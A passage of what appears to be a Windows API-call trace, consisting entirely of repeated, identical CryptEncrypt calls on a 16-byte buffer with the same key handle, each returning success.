out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.959] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.959] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.959] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.959] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.959] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.959] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.959] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.959] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.959] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.959] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.959] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.959] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.959] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.959] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.959] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.959] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.959] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.959] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.960] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.961] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.962] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.963] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.963] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.963] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.963] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.963] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.963] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.963] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.963] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.963] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.963] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.963] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.963] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.963] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.963] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.963] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.963] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.963] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.963] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.963] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.964] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.964] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.964] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.964] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.964] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.964] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.964] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.964] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.964] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.964] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.964] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.964] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.964] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, 